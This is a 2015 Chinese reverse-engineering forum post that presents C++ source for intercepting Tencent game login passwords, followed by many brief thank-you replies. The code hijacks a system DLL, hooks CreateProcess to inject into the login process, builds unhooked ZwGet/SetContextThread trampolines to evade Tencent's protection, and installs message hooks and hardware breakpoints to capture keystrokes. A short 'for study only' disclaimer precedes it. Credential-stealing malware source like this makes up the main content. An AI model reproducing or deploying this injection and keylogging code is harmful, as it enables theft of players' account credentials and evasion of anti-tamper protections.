首页
社区
课程
招聘
[原创]TX游戏登陆密码截取(详细,高清有码)
发表于: 2015-7-3 11:34 33260

[原创]TX游戏登陆密码截取(详细,高清有码)

2015-7-3 11:34
33260

Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担

此文重点:
 1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
2、安装消息勾子,判断当前输入焦点
3、自己构造ZwSetContextThread,和ZwGetContextThread
4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
5、实现解密

unsigned int  WINAPI _WorkThread(void * lpPram)
{
	TCHAR tcWorkDll[MAX_PATH];
	GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
	*( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
	_stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
	hTestModule=LoadLibrary(tcWorkDll);
	return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
	{//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
		if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
		{
			hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
		}
		using namespace AheadLib;
		return Load();
	}
	else if (ul_reason_for_call == DLL_PROCESS_DETACH)
	{
		using namespace AheadLib;
		Free();
	}
	return TRUE;
}

BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
	)
{
	BOOL bRet =FALSE;
	CHAR tcText[MAX_PATH];
	if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
	{
		GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
		return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
			bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
	}
	return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
		bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
}

void StartWork()
{
	
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());

	TCHAR tcText[100];
	TCHAR  lpProcessName[50]={0} ;
	_tcscpy_s(lpProcessName, GetCurProcessName().c_str());

	if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
	{
		DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);  //HOOK CreateProcess,实现完美注入TSALogin.exe
	}
	if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
	{
		DWORD dwOldProtect;
		//自己构造  ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
		ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
		ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
		ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
		ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);

		VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
		VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);

		*(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
		*(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
		*(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
		*(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread  -(DWORD)g_ZwSetContextThreadZone -5;

		/*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
		OutputDebugString(tcText);*/

		//Hook RtlDispatchException
		ProcessDispatchException(); //设置硬件断点,监视键盘输入

		g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
		OutputDebugString(_T("TSALogin.exe注入成功"));
	}
	DetourTransactionCommit();
}

extern void StartWork();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		g_hMod=hModule;
		StartWork();
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (74)
雪    币: 2620
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
占个位置
2015-7-3 12:16
0
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
给赞 给谢,加支持.
2015-7-3 12:20
0
雪    币: 2291
活跃值: (938)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
帮楼主顶一下!
2015-7-3 12:24
0
雪    币: 459
活跃值: (166)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
5
感谢分享,前排占位
2015-7-3 12:30
0
雪    币: 110
活跃值: (572)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
6
多谢。。。
2015-7-3 12:36
0
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
你这个简历明显写得不好
2015-7-3 12:39
0
雪    币: 110
活跃值: (572)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
8
随便写写。总要大概先合适呗。这本来就是附带的。
2015-7-3 13:03
0
雪    币: 256
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
赞         学习一下
2015-7-3 13:07
0
雪    币: 341
活跃值: (143)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
10
肯定会找到好工作
2015-7-3 14:04
0
雪    币: 110
活跃值: (572)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
11
多谢吉言哦
2015-7-3 14:21
0
雪    币: 21068
活跃值: (4265)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
谢谢分享 !
2015-7-3 16:43
0
雪    币: 76
活跃值: (206)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
13
帮楼主顶一下!
2015-7-3 16:46
0
雪    币: 79
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
帮楼主顶一下哦~
2015-7-3 16:56
0
雪    币: 5
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
赞,学习一下
2015-7-3 17:40
0
雪    币: 52
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
顶一下楼主1
2015-7-3 18:10
0
雪    币: 289
活跃值: (77)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
帮顶,学习一下
2015-7-3 19:26
0
雪    币: 235
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习学习
2015-7-3 23:54
0
雪    币: 6938
活跃值: (9164)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
19
厉害啊!
2015-7-4 00:01
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
帮楼主顶一下
2015-7-4 00:27
0
雪    币: 219
活跃值: (853)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
21
6666 支持一下,顺便撸主一定会找到好工作的
2015-7-4 02:09
0
雪    币: 409
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
占个位置
2015-7-4 07:05
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
mark一下
谢谢
2015-7-4 08:44
0
雪    币: 101
活跃值: (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
up....
2015-7-4 09:46
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
感谢分享,学习一下
2015-7-4 10:25
0
游客
登录 | 注册 方可回帖
返回
//